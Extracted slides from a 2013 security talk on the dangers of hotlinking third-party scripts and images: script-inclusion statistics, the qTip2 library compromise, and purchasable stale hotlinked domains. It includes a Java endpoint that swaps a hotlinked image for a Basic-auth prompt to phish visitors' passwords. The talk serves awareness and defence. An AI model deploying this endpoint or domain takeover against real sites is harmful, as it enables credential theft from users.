Hotlinking is Too Hot for Comfort

Preview:

DESCRIPTION

Presentation given at GeekMeet in Stockholm, January 2013. Covers the risks with hotlinking JavaScript and images in your websites.

Citation preview

Hotlinking is Too Hot for Comfort

@johnwilander, GeekMeet Stockholm 2013

@johnwilander

Hotlinking ==

<img src="http://3rdparty.net">

<script src="http://3rdparty.net"></script>

@johnwilander

Crawled

• Alexa Top 10,000

• Up to 500 pages per domain

• 3,000,000+ pages in total

@johnwilander

@johnwilander

Sites typically hotlink JavaScriptfrom 5-15 remote hosts

@johnwilander

If I can run a script on your site or app, what

can I do?

@johnwilander

Browser Exploitation Frameworkhttp://beefproject.com/

@johnwilander

So, who is able to run scripts on your site?

@johnwilander

Service .js% of Top

AlexaWeb analytics www.google-analytics.com/ga.js 68.37%

Dynamic Ads pagead2.googlesyndication.com/pagead/show_ads.js 23.87%

Web analytics www.google-analytics.com/urchin.js 17.32%

Social Networking connect.facebook.net/en_us/all.js 16.82%

Social Networking platform.twitter.com/widgets.js 13.87%

Social Networking & Web analytics s7.addthis.com/js/250/addthis_widget.js 12.68%

Web analytics & Tracking edge.quantserve.com/quant.js 11.98%

Market Research b.scorecardresearch.com/beacon.js 10.45%

Google Helper Functions www.google.com/jsapi 10.14%

Web analytics ssl.google-analytics.com/ga.js 10.12%

@johnwilander

Service .js% of Top

AlexaWeb analytics www.google-analytics.com/ga.js 68.37%

Dynamic Ads pagead2.googlesyndication.com/pagead/show_ads.js 23.87%

Web analytics www.google-analytics.com/urchin.js 17.32%

Social Networking connect.facebook.net/en_us/all.js 16.82%

Social Networking platform.twitter.com/widgets.js 13.87%

Social Networking & Web analytics s7.addthis.com/js/250/addthis_widget.js 12.68%

Web analytics & Tracking edge.quantserve.com/quant.js 11.98%

Market Research b.scorecardresearch.com/beacon.js 10.45%

Google Helper www.google.com/jsapi 10.14%

Web analytics ssl.google-analytics.com/ga.js 10.12%

@johnwilander

Service .js% of Top

AlexaWeb analytics www.google-analytics.com/ga.js 68.37%

Dynamic Ads pagead2.googlesyndication.com/pagead/show_ads.js 23.87%

Web analytics www.google-analytics.com/urchin.js 17.32%

Social Networking connect.facebook.net/en_us/all.js 16.82%

Social Networking platform.twitter.com/widgets.js 13.87%

Social Networking & Web analytics s7.addthis.com/js/250/addthis_widget.js 12.68%

Web analytics & Tracking edge.quantserve.com/quant.js 11.98%

Market Research b.scorecardresearch.com/beacon.js 10.45%

Google Helper www.google.com/jsapi 10.14%

Web analytics ssl.google-analytics.com/ga.js 10.12%

ga.js and urchin.js are two different versions of Google Analytics => probably not on the same site.

68.37+17.32 ≈ 85% of Alexa Top 10,000

Please don't be evil, Google.

@johnwilander

@johnwilander

https://github.com/Craga89/qTip2/issues/286

2011-12-08 there was an issue reported

@johnwilander

"sends your browser agent and another piece of info"

@johnwilander

"old Wordpress install … security vulnerability"

"infected nearly all JS files on my site"

@johnwilander

"The offending scripts have been removedas well as the Wordpress blog"

"cronjob setup that checks for changes"

"Closed"

@johnwilander

"it downloads some other exploits"

Comment

@johnwilander

https://github.com/Craga89/qTip2/issues/286

One month later …

@johnwilander

"issue is still present"

@johnwilander

"Looks like the security hole wasn't plugged after all"

"Please … do not hotlink"

"Reopened"

@johnwilander

"I've disabled the Wordpress blog on my site"

"Closed"

@johnwilander

Questions on qtip Hack

• How many end user PCs were trojanized?

• How many passwords stolen?

• How many credit card numbers stolen?

• How many internet bank logins remote controlled?

@johnwilander

Stale Hotlink Domains

@johnwilander

Alexa Top 1,000,000

Alexa Top 10,000

…Hotlinks

@johnwilander

Alexa Top 1,000,000

Alexa Top 10,000

Other domains

Hotlinks

@johnwilander

Alexa Top 1,000,000

Alexa Top 10,000

Other domains

Stale domains,open for purchase

@johnwilander

The Stale Numbers

• +3,000,000 pages crawled

• 4,225 hotlinked domains outsideAlexa Top 1,000,000

• 50 domains stale, i.e. no longer registered

@johnwilander

Nick et al purchased two of those stale

domains

@johnwilander

Alexa Top 10,000

Stale domains

goldprice.org

hbotapadmin.com

hbo.com

blogtools.us

@johnwilander

Alexa Top 10,000

Stale domains

goldprice.org

hbotapadmin.com

hbo.com

23 less popular sites

blogtools.us

@johnwilander

Alexa Top 10,000

Stale domains

goldprice.org

hbotapadmin.com

hbo.com

blogtools.us

blogtools.us

hbotapadmin.com

80,466 4,615Visits (15 days)

23 less popular sites

@johnwilander

Alexa Top 10,000

Stale domains

goldprice.org

hbotapadmin.com

hbo.com

blogtools.us

Including domains

Including pages

blogtools.us

hbotapadmin.com

80,466

24

84

4,615

4

41

Visits (15 days)

23 less popular sites

@johnwilander

The Case of the Unauthorized Image

@johnwilander

”Hotlinked images,can they bite me too?”

@johnwilander

<script src="http://3rdparty.net"></script>

<img src="http://3rdparty.net">

OK, this might be bad

But this?

@johnwilander

@johnwilander

What if Meetup allowedprofile images to be hotlinked?

@johnwilander

Meanwhile, at the Attacker’s Server …

@johnwilander

src/main/webapp/ css/… img/thumb_john.jpg js/… html/…

Including images typically looks like thisin a web app project:

But an attacker could instead resolve that image URL in code, like this …

@johnwilander

private static final String IMG_PATH = "/img/thumb_john.jpg";private boolean returnUnauthorized = false;@GET@Path("/thumb_john.jpg")@Produces("image/jpg")public Response getEvilImage(@Context ServletContext context) { if (returnUnauthorized) { return Response.status(Response.Status.UNAUTHORIZED) .header("WWW-Authenticate", "Basic").build(); } else { try { BufferedImage image = ImageIO.read(context.getResourceAsStream(IMG_PATH)); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); ImageIO.write(image, "jpg", outputStream); byte[] imageData = outputStream.toByteArray(); return Response.ok(imageData).build(); } catch (IOException e) { e.printStackTrace(); return Response.serverError().build(); } }}

@johnwilander

private static final String IMG_PATH = "/images/thumb_john.jpg";private boolean returnUnauthorized = false;@GET@Path("/thumb_john.jpg")@Produces("image/jpg")public Response getEvilImage(@Context ServletContext context) { if (returnUnauthorized) { return Response.status(Response.Status.UNAUTHORIZED) .header("WWW-Authenticate", "Basic").build(); } else { try { BufferedImage image = ImageIO.read(context.getResourceAsStream(IMG_PATH)); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); ImageIO.write(image, "jpg", outputStream); byte[] imageData = outputStream.toByteArray(); return Response.ok(imageData).build(); } catch (IOException e) { e.printStackTrace(); return Response.serverError().build(); } }}

… adding some nasty, alternate behavior.

@johnwilander

@johnwilander

Now what will John Doe enter?

@johnwilander

Some more nails for the coffin …

• CSS files can execute JavaScript (expressions in IE6-7 and XBL in Firefox)

• SVGs can execute JavaScript

• Gif files can be edited to become executable JavaScript and HTML

Recommended